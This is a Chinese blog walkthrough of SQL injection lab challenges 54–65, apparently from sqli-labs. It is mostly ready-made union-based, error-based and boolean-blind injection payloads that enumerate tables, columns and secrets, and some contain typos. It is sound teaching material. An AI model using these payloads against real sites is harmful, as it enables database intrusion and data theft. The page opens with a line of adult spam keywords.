久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

WEB常見漏洞之SQL注入(靶場篇—4)

 zZ華 2022-12-02 發(fā)布于廣東
免責(zé)聲明
由于傳播,、利用本公眾號狐貍說安全所提供的信息而造成的任何直接或者間接的后果及損失,,均由使用者本人負(fù)責(zé),,公眾號狐貍說安全及作者不為承擔(dān)任何責(zé)任,,一旦造成后果請自行承擔(dān),!如有侵權(quán)煩請告知,,我們會立即刪除并致歉,,謝謝,!

0x01 進(jìn)階挑戰(zhàn) 54-65

Lesson-54

該題為單引號get型注入,,利用方式包括聯(lián)合查詢、布爾盲注,、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id='$id' LIMIT 0,1';
if true:
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題對查詢次數(shù)進(jìn)行了限制,,我們需要在十次查詢以內(nèi)拿到 key,,由于報(bào)錯(cuò)不輸出 mysql 錯(cuò)誤信息,因此不能使用報(bào)錯(cuò)注入,。

使用聯(lián)合查詢判斷注入點(diǎn)

id=1'--+

圖片

判斷字段數(shù)

id=1' order by 3--+ //返回正確
id=1' order by 4--+ //返回異常

圖片

由此可判斷字段數(shù)為4,,通過 union select 查看回顯位置

id=-1' union select 1,2,3--+

圖片

查詢表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

圖片

查詢列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='6r90s8mprd'--+

圖片

查詢關(guān)鍵信息

id=-1' union select 1,2,group_concat(secret_OB1G) from 6r90s8mprd--+

圖片

成功拿到 key 值:lqZTCWPcYokbGQP8WQdImRzj

需要注意的是每次表名和列名都會不同,及時(shí)修改可以查詢到具體信息

Lesson-55

該題為單括號get型注入,,利用方式包括聯(lián)合查詢,、布爾盲注、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=($id) LIMIT 0,1';
if true:
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題與Lesson54的利用方式相同,,只不過拼接方式由單引號變成了單括號,,錯(cuò)誤次數(shù)由10次變?yōu)?4次

使用聯(lián)合查詢判斷注入點(diǎn)

id=1)--+

圖片

判斷字段數(shù)

id=1) order by 3--+ //返回正確
id=1) order by 4--+ //返回異常

圖片

圖片

由此可判斷字段數(shù)為4,通過 union select 查看回顯位置

id=-1) union select 1,2,3--+

圖片

查詢表名

id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

圖片

查詢列名

id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='3lr3dby63p'--+

圖片

查詢關(guān)鍵信息

id=-1) union select 1,2,group_concat(secret_WSTL) from 3lr3dby63p--+

圖片

成功拿到 key 值:omwh2fYfK0SrRVpuGRZai3X6

需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息

Lesson-56

該題為單括號單引號get型注入,,利用方式包括聯(lián)合查詢、布爾盲注,、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1';
if true:
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題與Lesson54的利用方式相同,,只不過拼接方式由單引號變成了單引號單括號,錯(cuò)誤次數(shù)由10次變?yōu)?4次

使用聯(lián)合查詢判斷注入點(diǎn)

id=1')--+

圖片

判斷字段數(shù)

id=1') order by 3--+ //返回正確
id=1') order by 4--+ //返回異常

圖片

圖片

由此可判斷字段數(shù)為4,,通過 union select 查看回顯位置

id=-1') union select 1,2,3--+

圖片

查詢表名

id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

圖片

查詢列名

id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='iw16doek28'--+

圖片

查詢關(guān)鍵信息

id=-1') union select 1,2,group_concat(secret_CY51) from iw16doek28--+

圖片

成功拿到 key 值:uQlKpUNr7EbZHR4NfKausIEj

需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息

Lesson-57

該題為雙引號get型注入,利用方式包括聯(lián)合查詢,、布爾盲注,、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  $id= '''.$id.''';
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=$id LIMIT 0,1';
if true:
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題與Lesson54的利用方式相同,只不過拼接方式由單引號變成了雙引號,,錯(cuò)誤次數(shù)由10次變?yōu)?4次

使用聯(lián)合查詢判斷注入點(diǎn)

id=1'--+

圖片

判斷字段數(shù)

id=1' order by 3--+ //返回正確
id=1' order by 4--+ //返回異常

圖片

圖片

由此可判斷字段數(shù)為4,,通過 union select 查看回顯位置

id=-1' union select 1,2,3--+

圖片

查詢表名

id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

圖片

查詢列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='mup8sgqrlo'--+

圖片

查詢關(guān)鍵信息

id=-1' union select 1,2,group_concat(secret_EGMD) from mup8sgqrlo--+

圖片

成功拿到 key 值:UFLHEB2MKHMJWM97fXAajgWB

需要注意的是每次表名和列名都會不同,及時(shí)修改可以查詢到具體信息

Lesson-58

該題為單引號get型注入,,利用方式包括報(bào)錯(cuò)注入,、布爾盲注、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id='$id' LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  print_r(mysql_error());

注意:該題只輸出$unames$pass數(shù)組,,而$pass數(shù)組是$uname數(shù)組的逆序,,因此使用聯(lián)合查詢無法返回我們需要的數(shù)據(jù)信息。但可以使用報(bào)錯(cuò)注入獲取數(shù)據(jù)

使用報(bào)錯(cuò)注入判斷注入點(diǎn)

id=1'--+

圖片

查詢基礎(chǔ)信息

id=1' and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+
id=1' and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+
id=1' and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

圖片

查詢表名

id=1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢列名

id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='me487dxhor' limit 2,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢關(guān)鍵信息

id=1' and (select count(*) from information_schema.tables group by concat((select secret_NMS4 from me487dxhor limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

成功拿到 key 值:mx7XGPasBPeRQKfCQJ7LEwt1

需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息

Lesson-59

該題為數(shù)字型get型注入,,利用方式包括報(bào)錯(cuò)注入、布爾盲注,、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=$id LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  print_r(mysql_error());

注意:該題與Lesson58的利用方式相同,,只不過拼接方式由單引號轉(zhuǎn)為了數(shù)字

使用報(bào)錯(cuò)注入判斷注入點(diǎn)

id=1--+

圖片

查詢基礎(chǔ)信息

id=1 and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+
id=1 and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+
id=1 and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

圖片

查詢表名

id=1 and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢列名

id=1 and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='x1qk033kut' limit 2,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢關(guān)鍵信息

id=1 and (select count(*) from information_schema.tables group by concat((select secret_9MWT from x1qk033kut limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

成功拿到 key 值:LtSOIKqX4EC5zCPwOzc6NFS7

需要注意的是每次表名和列名都會不同,及時(shí)修改可以查詢到具體信息

Lesson-60

該題為單括號雙引號get型注入,,利用方式包括報(bào)錯(cuò)注入,、布爾盲注、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  $id = '(''.$id.'')';
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=$id LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  print_r(mysql_error());

注意:該題與Lesson58的利用方式相同,,只不過拼接方式由單引號轉(zhuǎn)為了單括號雙引號

使用報(bào)錯(cuò)注入判斷注入點(diǎn)

id=1')--+

圖片

查詢基礎(chǔ)信息

id=1') and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+
id=1 and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+
id=1 and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

圖片

查詢表名

id=1') and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢列名

id=1') and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='bc8q88rlor' limit 2,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢關(guān)鍵信息

id=1') and (select count(*) from information_schema.tables group by concat((select secret_DAAH from bc8q88rlor limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

成功拿到 key 值:O8c2mJWO68hDxl7cAPYNpElM

需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息

Lesson-61

該題為雙括號單引號get型注入,利用方式包括報(bào)錯(cuò)注入,、布爾盲注,、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  print_r(mysql_error());

注意:該題與Lesson58的利用方式相同,只不過拼接方式由單引號轉(zhuǎn)為了雙括號單引號

使用報(bào)錯(cuò)注入判斷注入點(diǎn)

id=1'))--+

圖片

查詢基礎(chǔ)信息

id=1')) and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+
id=1')) and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+
id=1')) and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

圖片

查詢表名

id=1')) and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢列名

id=1')) and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='upre7krqfg' limit 2,1),0x7e,floor(rand(0)*2)))--+

圖片

查詢關(guān)鍵信息

id=1')) and (select count(*) from information_schema.tables group by concat((select secret_EX6I from upre7krqfg limit 0,1),0x7e,floor(rand(0)*2)))--+

圖片

成功拿到 key 值:6lB7uSQQDKE96ZNcXEDiREHG

需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息

Lesson-62

該題為單括號單引號get型注入,,利用方式包括布爾盲注、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題與Lesson58的利用方式相同,,只不過拼接方式由單引號轉(zhuǎn)為了單括號單引號,,同時(shí)不再輸出數(shù)據(jù)庫報(bào)錯(cuò)信息,因此不能使用報(bào)錯(cuò)注入,,只能使用盲注

使用布爾盲注判斷注入點(diǎn)

id=1')--+

圖片

查詢長度

id=1') and length(user())>13--+ //返回正常界面
id=1') and length(user())>14--+ //返回不同界面

圖片

兩次結(jié)果不同,,由此判斷長度為 14

圖片

查詢字符

id=1') and substr(user(),1,1)='r'--+ //返回正常界面
id=1') and left(user(),1)='r'--+ //left()函數(shù)
id=1') and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼

圖片

id=1') and substr(user(),1,1)='s'--+ //返回不同界面

圖片

確定用戶名為root@localhost

id=1') and substr(user(),1,14)='root@localhost'--+

圖片

以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名、表名,、列名等

id=1') and substr((select database()),1,14)='challenges'--+

圖片

手工注入太過繁瑣,,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key

Lesson-63

該題為單引號get型注入,利用方式包括布爾盲注,、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id='$id' LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題與Lesson62的利用方式相同,,只不過拼接方式由單括號單引號轉(zhuǎn)為了單引號

使用布爾盲注判斷注入點(diǎn)

id=1'--+

圖片

查詢長度

id=1' and length(user())>13--+ //返回正常界面
id=1' and length(user())>14--+ //返回不同界面

圖片

兩次結(jié)果不同,由此判斷長度為 14

圖片

查詢字符

id=1' and substr(user(),1,1)='r'--+ //返回正常界面
id=1' and left(user(),1)='r'--+ //left()函數(shù)
id=1' and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼

圖片

id=1' and substr(user(),1,1)='s'--+ //返回不同界面

圖片

確定用戶名為root@localhost

id=1' and substr(user(),1,14)='root@localhost'--+

圖片

以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名,、表名,、列名等

id=1' and substr((select database()),1,14)='challenges'--+

圖片

手工注入太過繁瑣,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key

Lesson-64

該題為雙括號get型注入,,利用方式包括布爾盲注,、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id='$id' LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題與Lesson62的利用方式相同,只不過拼接方式由單括號單引號轉(zhuǎn)為了雙括號

使用布爾盲注判斷注入點(diǎn)

id=1))--+

圖片

查詢長度

id=1)) and length(user())>13--+ //返回正常界面
id=1)) and length(user())>14--+ //返回不同界面

圖片

兩次結(jié)果不同,,由此判斷長度為 14

圖片

查詢字符

id=1)) and substr(user(),1,1)='r'--+ //返回正常界面
id=1)) and left(user(),1)='r'--+ //left()函數(shù)
id=1)) and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼

圖片

id=1)) and substr(user(),1,1)='s'--+ //返回不同界面

圖片

確定用戶名為root@localhost

id=1)) and substr(user(),1,14)='root@localhost'--+

圖片

以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名,、表名、列名等

id=1)) and substr((select database()),1,14)='challenges'--+

圖片

手工注入太過繁瑣,,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key

Lesson-65

該題為單括號雙引號get型注入,,利用方式包括布爾盲注、時(shí)間盲注

id=1'

圖片

目標(biāo)SQL語句如下:

if ($_POST['reset']):
  setcookie('challenge', ' ', time() - 3600000);

else:
   if ($_COOKIE['challenge']):
      $sessid=$_COOKIE['challenge'];
   else:
      $expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie('challenge', $hash, $expire);

if ($_GET['id']):
  $id=$_GET['id'];
  $id = '''.$id.''';
  next_tryy() >= ($times+1)
  $sql='SELECT * FROM security.users WHERE id=($id) LIMIT 0,1';
if true:
      $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4');
$pass = array_reverse($unames);
  輸出查詢信息;
else:
  輸出報(bào)錯(cuò);

注意:該題與Lesson62的利用方式相同,,只不過拼接方式由單括號單引號轉(zhuǎn)為了單括號雙引號

使用布爾盲注判斷注入點(diǎn)

id=1')--+

圖片

查詢長度

id=1') and length(user())>13--+ //返回正常界面
id=1') and length(user())>14--+ //返回不同界面

圖片

兩次結(jié)果不同,,由此判斷長度為 14

查詢字符

id=1') and substr(user(),1,1)='r'--+ //返回正常界面
id=1') and left(user(),1)='r'--+ //left()函數(shù)
id=1') and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼

圖片

id=1') and substr(user(),1,1)='s'--+ //返回不同界面

圖片

確定用戶名為root@localhost

id=1') and substr(user(),1,14)='root@localhost'--+

圖片

以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名、表名,、列名等

id=1') and substr((select database()),1,14)='challenges'--+

圖片

手工注入太過繁瑣,,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key

0x02 總結(jié)

該靶場是學(xué)習(xí) SQL 注入的好途徑,,刷完全部題目后面對 SQL 注入的了解有很大幫助,整個(gè)靶場以 MySQL + PHP 搭建環(huán)境為主,,根據(jù)不同環(huán)境切換了 Windows,、Linux 以及 Tomcat 代理。如果想要測試目標(biāo)點(diǎn)是否存在 SQL 注入,,我們應(yīng)該從請求方式,、注入點(diǎn)閉合方式、請求頭部,、后端SQL語句以及注入方式等方面進(jìn)行考慮,,確定了這些后再想方設(shè)法繞過站點(diǎn)中的 WAF、編碼限制,,其實(shí)這就是手工注入的魅力,,當(dāng)然會使用 sqlmap 也是一件好事,有了手工+自動(dòng)兩種方式的結(jié)合,,在面對一般的 SQL 注入問題都可以迎刃而解,。至此,sql注入靶場完結(jié),。

0x03 知識星球

    本站是提供個(gè)人知識管理的網(wǎng)絡(luò)存儲空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn),。請注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購買等信息,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多